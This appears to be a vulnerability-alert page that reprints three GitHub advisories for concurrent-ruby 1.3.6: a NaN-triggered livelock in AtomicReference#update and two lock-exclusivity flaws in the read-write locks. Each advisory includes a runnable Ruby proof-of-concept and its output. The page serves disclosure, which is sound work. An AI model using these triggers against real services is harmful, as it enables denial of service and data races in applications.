Where
-Infinity
0

Vendor Risk Score

See how rubyconcurrency compares to other vendors in security performance

View Risk Score →
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between: - AtomicReference#update, which retries until compareandset(oldvalue, newvalue) succeeds. - Numeric compareandset, which checks old == oldvalue before attempting the underlying atomic swap. - Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details

AtomicReference#update retries until compareandset returns true:

ruby def update true until compareandset(oldvalue = get, newvalue = yield(oldvalue)) newvalue end

For numeric expected values, compareandset uses numeric equality before attempting the underlying atomic compare-and-set:

ruby def compareandset(oldvalue, newvalue) if oldvalue.kindof? Numeric while true old = get

return false unless old.kindof? Numeric return false unless old == oldvalue

result = compareandset(old, newvalue) return result if result end else compareandset(oldvalue, newvalue) end end

When the stored value is Float::NAN, oldvalue = get returns NaN. The later comparison old == oldvalue is false because NaN is not equal to itself. compareandset therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

ruby #!/usr/bin/env ruby frozenstringliteral: true

require 'concurrent/atomic/atomicreference' require 'concurrent/version'

puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false

worker = Thread.new do ref.update do |oldvalue| attempts += 1 0.0 end finished = true end

sleep 0.25

puts "nanupdateattemptsafter250ms=#{attempts}" puts "nanupdatefinished=#{finished}" puts "nanupdateworkeralive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOTREPRODUCED' end

worker.kill worker.join

control = Concurrent::AtomicReference.new(1.0) controlattempts = 0 controlresult = control.update do |oldvalue| controlattempts += 1 oldvalue + 1.0 end

puts "controlupdateresult=#{controlresult.inspect}" puts "controlupdateattempts=#{controlattempts}" puts "controlupdatefinalvalue=#{control.value.inspect}" Log evidence text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nanupdateattemptsafter250ms=1926016 nanupdatefinished=false nanupdateworkeralive=true result=REPRODUCED busy retry loop; update did not complete controlupdateresult=2.0 controlupdateattempts=1 controlupdatefinalvalue=2.0

Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

1 / 2
Source: GitHub
First published (updated )
Severity
2
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.

The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITELOCKHELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. trywritelock then treats the thread as already holding a write lock and returns true without setting the global RUNNINGWRITER bit.

This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.

Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:

ruby READERBITS = 15 WRITERBITS = 14

WAITINGWRITER = 1 << READERBITS RUNNINGWRITER = 1 << (READERBITS + WRITERBITS) MAXREADERS = WAITINGWRITER - 1 MAXWRITERS = RUNNINGWRITER - MAXREADERS - 1

WRITELOCKHELD = 1 << READERBITS READLOCKMASK = WRITELOCKHELD - 1 WRITELOCKMASK = MAXWRITERS

When a thread already holds a lock, acquirereadlock increments @HeldCount:

ruby if (held = @HeldCount.value) > 0 if held & READLOCKMASK == 0 @Counter.update { |c| c + 1 } end @HeldCount.value = held + 1 return true end

After 32,768 read acquisitions, the per-thread held count becomes 32768, which is equal to WRITELOCKHELD. Then trywritelock returns success through its "already have a write lock" branch:

ruby def trywritelock if (held = @HeldCount.value) >= WRITELOCKHELD @HeldCount.value = held + WRITELOCKHELD return true else # normal global writer acquisition path end end

This branch does not set the global RUNNINGWRITER bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.

PoC

ruby #!/usr/bin/env ruby frozenstringliteral: true

require 'concurrent/atomic/reentrantreadwritelock' require 'concurrent/version' require 'thread'

def waitforqueue(queue, timeoutseconds) deadline = Process.clockgettime(Process::CLOCKMONOTONIC) + timeoutseconds loop do return queue.pop(true) rescue ThreadError return nil if Process.clockgettime(Process::CLOCKMONOTONIC) >= deadline

sleep 0.001 end end

puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity"

lock = Concurrent::ReentrantReadWriteLock.new otherreaderready = Queue.new otherreaderstop = Queue.new

otherreader = Thread.new do lock.acquirereadlock otherreaderready << :held otherreaderstop.pop end

waitforqueue(otherreaderready, 1) puts "otherthreadholdsreadlock=true"

depth = Concurrent::ReentrantReadWriteLock::WRITELOCKHELD depth.times { lock.acquirereadlock }

heldcount = lock.instanceeval { @HeldCount.value } counterbefore = lock.instanceeval { @Counter.value }

puts "mainthreadreadacquisitions=#{depth}" puts "mainthreadheldcount=#{heldcount}" puts "counterbeforetrywrite=#{counterbefore}" puts "runningwriterbitbefore=#{(counterbefore & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER) != 0}"

writegranted = lock.trywritelock counterafter = lock.instanceeval { @Counter.value }

puts "trywritelockreturned=#{writegranted}" puts "counteraftertrywrite=#{counterafter}" puts "runningwriterbitafter=#{(counterafter & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER) != 0}"

thirdreaderready = Queue.new thirdreader = Thread.new do lock.acquirereadlock thirdreaderready << :acquired end

thirdreaderacquired = waitforqueue(thirdreaderready, 0.25) == :acquired puts "newreaderacquiredwhilewriteclaimed=#{thirdreaderacquired}"

if writegranted && thirdreaderacquired && (counterafter & Concurrent::ReentrantReadWriteLock::RUNNINGWRITER).zero? puts 'result=REPRODUCED write lock granted without setting global writer state' else puts 'result=NOTREPRODUCED' end

thirdreader.kill otherreaderstop << :stop otherreader.kill

Log evidence text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity otherthreadholdsreadlock=true mainthreadreadacquisitions=32768 mainthreadheldcount=32768 counterbeforetrywrite=2 runningwriterbitbefore=false trywritelockreturned=true counteraftertrywrite=2 runningwriterbitafter=false newreaderacquiredwhilewriteclaimed=true result=REPRODUCED write lock granted without setting global writer state

Impact This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

1 / 3
Source: GitHub
First published (updated )
Severity
2.1
CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Concurrent::ReadWriteLock#releasewritelock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.

Concurrent::ReadWriteLock#releasereadlock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.

This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.

Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

releasewritelock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:

ruby def releasewritelock return true unless runningwriter? c = @Counter.update { |counter| counter - RUNNINGWRITER } @ReadLock.broadcast @WriteLock.signal if waitingwriters(c) > 0 true end

Because ownership is not checked, a different thread can clear the RUNNINGWRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.

releasereadlock unconditionally decrements the shared counter:

ruby def releasereadlock while true c = @Counter.value if @Counter.compareandset(c, c-1) if waitingwriter?(c) && runningreaders(c) == 1 @WriteLock.signal end break end end true end

On a fresh lock, this changes the counter from 0 to -1. A later acquirereadlock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.

Reproduce

From the root of a concurrent-ruby checkout, run:

bash ruby -Ilib/concurrent-ruby - <<'RUBY' require 'concurrent/atomic/readwritelock' require 'concurrent/version' require 'thread'

puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=ReadWriteLock release methods corrupt or bypass lock state"

lock = Concurrent::ReadWriteLock.new events = Queue.new writer1inside = false

writer1 = Thread.new do lock.acquirewritelock writer1inside = true events << :writer1acquired sleep 0.5 writer1inside = false lock.releasewritelock events << :writer1finished end

events.pop puts 'writer1acquired=true'

intruderresult = nil intruder = Thread.new do intruderresult = lock.releasewritelock end intruder.join

puts "wrongthreadreleasewritelockreturned=#{intruderresult}"

writer2enteredwhilewriter1inside = nil writer2 = Thread.new do lock.acquirewritelock writer2enteredwhilewriter1inside = writer1inside lock.releasewritelock end

writer2.join(0.25)

puts "writer2acquiredwhilewriter1inside=#{writer2enteredwhilewriter1inside}"

writer1.join

lock2 = Concurrent::ReadWriteLock.new strayreadreleaseresult = lock2.releasereadlock counterafterstrayreadrelease = lock2.instanceeval { @Counter.value } readafterstrayrelease = begin lock2.acquirereadlock 'acquired' rescue => error "#{error.class}: #{error.message}" end

puts "strayreleasereadlockreturned=#{strayreadreleaseresult}" puts "counterafterstrayreadrelease=#{counterafterstrayreadrelease}" puts "acquirereadafterstrayrelease=#{readafterstrayrelease}"

if intruderresult && writer2enteredwhilewriter1inside && counterafterstrayreadrelease == -1 puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption' else puts 'result=NOTREPRODUCED' end Expected result:

- A second thread successfully calls releasewritelock while the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section. - Calling releasereadlock on a fresh lock changes the counter to -1. - A subsequent read acquisition fails with Concurrent::ResourceLimitError.

Log evidence

Local reproduction output:

text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=ReadWriteLock release methods corrupt or bypass lock state writer1acquired=true wrongthreadreleasewritelockreturned=true writer2acquiredwhilewriter1inside=true strayreleasereadlockreturned=true counterafterstrayreadrelease=-1 acquirereadafterstrayrelease=Concurrent::ResourceLimitError: Too many reader threads result=REPRODUCED wrong-thread write release and stray read-release corruption

Impact This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual acquire / release APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.

Credit Pranjali Thakur - depthfirst (depthfirst.com)

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203